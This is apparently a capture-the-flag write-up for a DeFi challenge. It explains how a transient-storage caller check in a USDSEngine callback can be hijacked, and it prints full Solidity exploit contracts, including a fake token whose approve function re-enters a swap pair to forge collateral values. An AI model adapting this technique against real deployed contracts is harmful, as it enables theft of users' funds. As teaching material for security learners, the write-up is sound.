They said memory fades — but some secrets linger just long enough.
A value set, then forgotten... unless you catch it mid-breath.
No storage, no logs, yet the truth lies between one call and the next.
Can you see what was never meant to stay?
There are three tokens: WETH, USDC, and SAFEMOON. The initial ratio of their amounts in Uniswap V2 pairs is 1:2500:15087507543753773. The player initially has 80001 ethers.
There is an USDSEngine contract, which can accept deposits and mint USDS tokens. Users can choose either function depositCollateralAndMint or function depositCollateralThroughSwap to make a deposit. The goal of the challenge is to let the player's collateral value of both WETH and SAFEMOON in the USDSEngine excced keccak256("YOU NEED SOME BUCKS TO GET FLAG").
If the function depositCollateralThroughSwap is chosen, it will swap tokens via the Bi0sSwapPair and update the user's deposit status in the callback function bi0sSwapv1Call.
The function bi0sSwapv1Call uses the value of transient storage slot 1 to verify the caller, and then updates the transient storage slot 1 with tokensSentToUserVault. In other words, if we can let the value of tokensSentToUserVault be a controllable address, we would be able to call this function arbitrarily. Meanwhile, the function depositCollateralThroughSwap only checks if _otherToken is accepted token, so the _collateralToken can be any token. Therefore, we can deploy a controllable token and its corresponding Bi0sSwapPair, enabling us to manipulate the argument amountOut in function bi0sSwapv1Call and gain control over it.
contractExploiter{Setupsetup;IBi0sSwapFactoryfactory;WETHweth;SafeMoonsafeMoon;USDSEngineusdsEngine;constructor(Setup_setup)payable{require(msg.value==2);setup=_setup;factory=_setup.bi0sSwapFactory();weth=_setup.weth();safeMoon=_setup.safeMoon();usdsEngine=_setup.usdsEngine();_setup.setPlayer(address(this));}functionexploit()external{SafeMoonfake=newSafeMoon(type(uint).max);addressfakePair=factory.createPair(address(fake),address(weth));uintaddressAmount=uint160(address(this));fake.transfer(fakePair,addressAmount*2);weth.deposit{value:2}(address(this));weth.transfer(fakePair,1);IBi0sSwapPair(fakePair).addLiquidity(address(this));weth.approve(address(usdsEngine),1);usdsEngine.depositCollateralThroughSwap(address(weth),address(fake),1,0);uint256FLAG_HASH=uint256(keccak256("YOU NEED SOME BUCKS TO GET FLAG"))+1;usdsEngine.bi0sSwapv1Call(address(this),address(weth),FLAG_HASH+uint160(address(this)),abi.encode(FLAG_HASH));usdsEngine.bi0sSwapv1Call(address(this),address(safeMoon),FLAG_HASH+uint160(address(this)),abi.encode(FLAG_HASH));}}
The revenge version mainly updates the modifier of the function depositCollateralThroughSwap from acceptedToken(_otherToken) to acceptedToken(_collateralToken). So, we can not use unverified _collateralToken. However, since the _otherToken is not checked, we can create a token, whose approve function calls Bi0sSwapPair's swap function with controllable data and gains control over the function bi0sSwapv1Call. Remember to set the value of transient storage slot 1 back to the corresponding Bi0sSwapPair to ensure the subsequent execution of the function depositCollateralThroughSwap can proceed successfully.
contractFakeisSafeMoon{WETHweth;SafeMoonsafeMoon;USDSEngineusdsEngine;addressowner;addresspair;constructor(WETH_weth,SafeMoon_safeMoon,USDSEngine_usdsEngine)SafeMoon(type(uint).max){weth=_weth;safeMoon=_safeMoon;usdsEngine=_usdsEngine;owner=msg.sender;}functionsetPair(address_pair)public{pair=_pair;}functionapprove(addressspender,uint256amount)publicoverridereturns(bool){if(spender==pair){weth.approve(spender,1);IBi0sSwapPair(spender).swap(address(weth),1,address(usdsEngine),abi.encode(0));uint256FLAG_HASH=uint256(keccak256("YOU NEED SOME BUCKS TO GET FLAG"))+1;usdsEngine.bi0sSwapv1Call(owner,address(weth),FLAG_HASH+uint160(address(this)),abi.encode(FLAG_HASH));usdsEngine.bi0sSwapv1Call(owner,address(safeMoon),FLAG_HASH+uint160(address(this)),abi.encode(FLAG_HASH));usdsEngine.bi0sSwapv1Call(owner,address(this),uint160(spender),abi.encode(0));}returnsuper.approve(spender,amount);}}contractExploiterUsingApprove{Setupsetup;IBi0sSwapFactoryfactory;WETHweth;SafeMoonsafeMoon;USDSEngineusdsEngine;constructor(Setup_setup)payable{setup=_setup;factory=_setup.bi0sSwapFactory();weth=_setup.weth();safeMoon=_setup.safeMoon();usdsEngine=_setup.usdsEngine();_setup.setPlayer(address(this));}functionexploit()external{Fakefake=newFake(weth,safeMoon,usdsEngine);addressfakePair=factory.createPair(address(weth),address(fake));fake.setPair(fakePair);uintaddressAmount=uint160(address(fake));fake.transfer(fakePair,addressAmount*2);weth.deposit{value:2}(address(this));weth.transfer(fakePair,1);IBi0sSwapPair(fakePair).addLiquidity(address(this));weth.transfer(address(fake),1);fake.approve(address(usdsEngine),1);usdsEngine.depositCollateralThroughSwap(address(fake),address(weth),1,0);}}
Or, with the initial 80,000 ethers, we can exchange for 0x38c0bdc4ade139d62d90d2ad2c3f98efb SAFEMOON tokens, which is slightly less than a regular 20-byte address. However, we can deploy an exploiter with an address starting with 0x00000000 via cast create2, making its address numerically smaller than the amount of SAFEMOON we can obtained. Then, we can use the previously described method to gain control over the function bi0sSwapv1Call.